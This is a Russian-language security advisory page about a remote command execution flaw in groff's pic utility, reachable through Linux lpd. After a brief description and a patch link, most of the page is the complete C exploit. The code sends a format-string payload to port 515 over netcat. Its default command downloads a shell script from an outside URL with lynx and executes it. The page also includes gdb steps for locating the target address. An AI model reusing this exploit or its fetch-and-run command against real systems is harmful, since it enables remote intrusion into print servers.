Удаленная Эксплуатация Linux Groff через lpd

Дата публикации:
29.07.2001
Дата изменения:
17.10.2006
Всего просмотров:
1166
Опасность:
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Описание:

Lpd – это print spooling daemon. Он используется, чтобы поддерживать печать в сети на разнообразных unix платформах. Версия lpd, которая поставляется с linux системами, вызывает groff, чтобы обработать документы, которые должны быть напечатаны. Утилита Groff имеет обыкновение обрабатывать изображения, 'pic', она содержит уязвимость, эксплуатируя которую, возможно выполнить произвольные команды на удаленном компьютере.

Для устранения проблемы скачайте следующий патч:

http://www.securityfocus.com/data/vulnerabilities/patches/groff-1.16.1.diff

Эксплоит:

#include<stdio.h>

///////////////////////////////////////////////////////////////////

/// // // /// //// //// // //////______/

/// // // ////// / / / /// //// //// //// //////////______/

/// /// /// // // /// //// //// //// /////// ///

/// // // ////// ///// /// //// //// //// //////////____///

/// // // ////// ///// /// //// //// //// /////////////////

/// // // // ///// //// ////// //// /////////////

///////////////////////////////////////////////////////////////////

// \\ -- zen-parse -- \\

// \\___________________\\

// \ Remote access \

// \_____________________\



// pic format string exploit

// =========================

// This version - Sat Jun 23 21:35:31 NZST 2001

// (updated to fix broken link Thu Jul 27 23:45:34 NZST 2001)

//

// pic is part of the groff package. It is used by troff-to-ps.fpi as uid lp

// when perl, troff and LPRng are installed.

//

// The address given is not the exact address, but it works.

// (see /* comments below */ for information on why it's not the exact address)

//

// The offset given is (close enough to) the address for the

// version of /usr/bin/pic from the rpm that comes redhat 7.0

// (groff-1.16-7) The method used to find the offset in your

// version of pic could be something like this :-

/*



bash-2.04$ gdb -q /usr/bin/pic

(no debugging symbols found)...(gdb)

(gdb) break getopt

Breakpoint 1 at 0x8048e94

(gdb) display/i $eip

(gdb) r -S

Starting program: /usr/bin/pic -S

Breakpoint 1 at 0x4014d552: file getopt.c, line 987.



Breakpoint 1, getopt (argc=2, argv=0xbffffa84,

optstring=0x8060bc9 "T:CDSUtcvnxzpf") at getopt.c:987

987 getopt.c: No such file or directory.

1: x/i $eip 0x4014d552 <getopt+18>: mov 0x10(%ebp),%ecx

(gdb)

(

type nexti a few (mebe a dozen or 2?) times until you see something like

movl $0x1,%ebx

in which case the next instruction contains safe_address, or

movl $0x1,0xsomeaddress

in which case safe_address is 0xsomeaddress



IE: It is the the address used by the first instructions

that assign a value of 1 to an address after the getopt() call.



)

1: x/i $eip 0x80523c2 <strcpy+37758>: mov $0x1,%ebx

(gdb)

0x80523c7 31 in ../sysdeps/generic/strcpy.c

1: x/i $eip 0x80523c7 <strcpy+37763>: mov %ebx,0x806feec

(gdb) q



In this case, the address is 0x0806feec, however you may need to aim for

just a little before that, due to what are probably rounding errors in the

conversion between int->float->int, and using the least significant

digits.



This means: You may need to play a little to get it working on your machine.



*/





#define PICURL "http://crash.ihug.co.nz/~Sneuro/samplelpdscript.sh"

#error "http://mp3.com/cosv needs visiting"

#define SAFER_ADDRESS 0x0806feeb

#define QUEUE "lp"



FILE *pip;

char *payload(char *cmd,int safer);

char *eos(char *s)

{

return s+strlen(s);

}



output(char *s,char*addr,FILE*pip)

{

char v[]=

"Aroot@%s+666\n"

"CA\n"

"D2001-06-23-08:59:18.714\n"

"Hclarity.local\n"

"J/tmp/hack-attempt\n"

"Lroot\n"

"Proot\n"

"Qlp\n"

"N/tmp/sh.c\n"

"fdfA666%s\n"

"UdfA666%s\n";



char nv[1024];



fprintf(pip,"\x2"QUEUE"\n");

sprintf(nv,v,addr,addr,addr);

fprintf(pip,"\x2%d cfA666%s\n",strlen(nv),addr);

fprintf(pip,"%s",nv);

fflush(pip);

putc(0,pip);

fflush(pip);

fprintf(pip,"\x3%d dfA666%s\n",strlen(s),addr);

fprintf(pip,"%s",s);

fflush(pip);

putc(0,pip);

fflush(pip);

}





main(int argc,char *argv[])

{

int safer=SAFER_ADDRESS;

char pcmd[1024];

char *cmd=0;

char *addr=0;

char *evil=0;



if(argc==1)addr="-h";

if(!addr)addr=(char*)malloc(256);

if(argc>2)safer=(int)strtoul(argv[2],0,16);

if(argc>1)addr=argv[1];

if(argc>3)cmd=argv[3];

else

{

if(!cmd)cmd=(char*)malloc(512);

strcpy(cmd,

"export HOME=/tmp;/usr/bin/lynx -dump "PICURL

">/tmp/lpd.cmd.$$;chmod +x /tmp/lpd.cmd.$$;/tmp/lpd.cmd.$$");

}

if(!*addr)addr=(char*)malloc(256);

if(!strcmp(addr,"-h"))

{

printf("%s ip-address safer-address 'commands in quotes'\n",argv[0]);

exit(1);

}

evil=payload(cmd,safer);

sprintf(pcmd,"nc %s 515",addr);

pip=popen(pcmd,"w");

output(evil,addr,pip);

if(pclose(pip))

{

printf("It might not've worked.\nThe command returned a funny value.\n");

printf("check you have netcat (nc) in your path.\n");

exit(1);

}

}





char *payload(char *cmd,int safer)

{

char *retstr;

char *tmp;

retstr=(char*)malloc(4096);

sprintf(retstr,".PS\n");



// %f is 8 bytes long the two values are \\

// needed. the value was just the first one \\

// that I had in there... it it ain't broke... \\



tmp=eos(retstr);

sprintf(tmp,"plot %5.20f \"%%n\"\n",safer,0xbffffa08);

tmp=eos(retstr);

sprintf(tmp,"sh X%sX\n",cmd);

tmp=eos(retstr);

sprintf(tmp,".PE\n");

tmp=eos(retstr);

sprintf(tmp,"This is the way we hack the printer,\n");

tmp=eos(retstr);

sprintf(tmp,"Hack the printer, hack the printer.\n");

tmp=eos(retstr);

sprintf(tmp,"This is the way we hack the printer,\n");

tmp=eos(retstr);

sprintf(tmp,"when they are running a vulnerable version\n");

tmp=eos(retstr);

sprintf(tmp,"of groff.\n");

tmp=eos(retstr);

return retstr;

}

 


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